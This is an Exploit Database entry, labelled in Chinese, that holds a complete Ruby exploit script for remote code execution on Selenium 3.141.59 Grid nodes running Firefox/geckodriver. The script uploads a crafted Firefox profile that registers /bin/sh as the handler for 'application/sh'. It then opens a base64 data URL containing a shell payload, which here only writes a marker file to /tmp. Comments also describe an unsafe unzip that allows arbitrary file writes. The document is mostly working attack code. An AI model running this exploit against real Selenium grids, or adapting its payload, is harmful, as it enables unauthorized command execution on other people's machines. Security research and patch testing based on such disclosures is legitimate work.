Selenium 3.141.59 – Remote Code Execution (Firefox/geckodriver)

Exploit Database
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作者： Jon Stratton

日期： 2021-05-28
类别：
- webapps
平台：
- linux
来源：https://www.exploit-db.com/exploits/49915/

# Exploit Title: Selenium 3.141.59 - Remote Code Execution (Firefox/geckodriver)

# Date: 2021-05-27

# Exploit Author: Jon Stratton

# Vendor Homepage: https://www.selenium.dev/

# Software Link: https://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar

# Version: 3.141.59

# Tested on: Selenium Server 3.141.59, webdriver, geckodriver

# https://github.com/JonStratton/selenium-node-takeover-kit/blob/master/examples/selenium_node_rce.rb

# When Selenium runs, it creates a custom profile (in /tmp/ for Linux) on the Node. This profile then gets overwritten by a possible overlay that is sent in a base64 encoded zip file when a Selenium session is started.

# One of the config file can be used to set a custom handler (which do things like, for instance, associates “mailto:blah@blah.com” to your email client). In this example, a new handler is created for “application/sh” that will execute the argument with “/bin/sh”

# Side notes, this profile doesn't safely unzip. So this can be used to write files to the file-system.

# The Payload is encoded and embedded as inline data associated with the "application/sh" mime type.

#!/usr/bin/env ruby

require 'optparse'

require 'net/http'

require 'json'

require 'uri'

require 'zip'

require 'base64'

options = {}

OptionParser.new do |opts|

opts.banner = 'Usage: example.rb [options]'

opts.on('-hURL', '--hubURL', 'Selenium Hub URL') do |h|

options[:hub] = h

end

opts.on('--help', 'Prints this help') do

puts opts

exit

end

end.parse!

hub_url = options[:hub]

payload = 'rm -rf $0

echo success > /tmp/selenium_node_rce.txt'

# Build profile zip file.

stringio = Zip::OutputStream::write_buffer do |io|

# Create a handler for shell scripts

io.put_next_entry("handlers.json")

io.write('{"defaultHandlersVersion":{"en-US":4},"mimeTypes":{"application/sh":{"action":2,"handlers":[{"name":"sh","path":"/bin/sh"}]}}}')

end

stringio.rewind

encoded_profile = Base64.strict_encode64(stringio.sysread)

# Create session with our new profile

newSession = {:desiredCapabilities => {:browserName => "firefox", :firefox_profile => encoded_profile}}

uri = URI.parse(hub_url)

http = Net::HTTP.new(uri.host, uri.port)

# Start session with encoded_profile and save session id for cleanup.

uri = URI.parse("%s/session" % [hub_url])

request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')

request.body = JSON.generate(newSession)

response = http.request(request)

sessionId = JSON.parse(response.body)["value"]["sessionId"]

# URL.

data_url = "data:application/sh;charset=utf-16le;base64,%s" % [Base64.encode64(payload)]

uri = URI.parse("%s/session/%s/url" % [hub_url, sessionId])

request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')

request.body = JSON.generate(:url => data_url)

response = http.request(request)

# End session(not working)

uri = URI.parse("%s/session/%s" % [hub_url, sessionId])

request = Net::HTTP::Delete.new(uri.request_uri)

http.request(request)

exit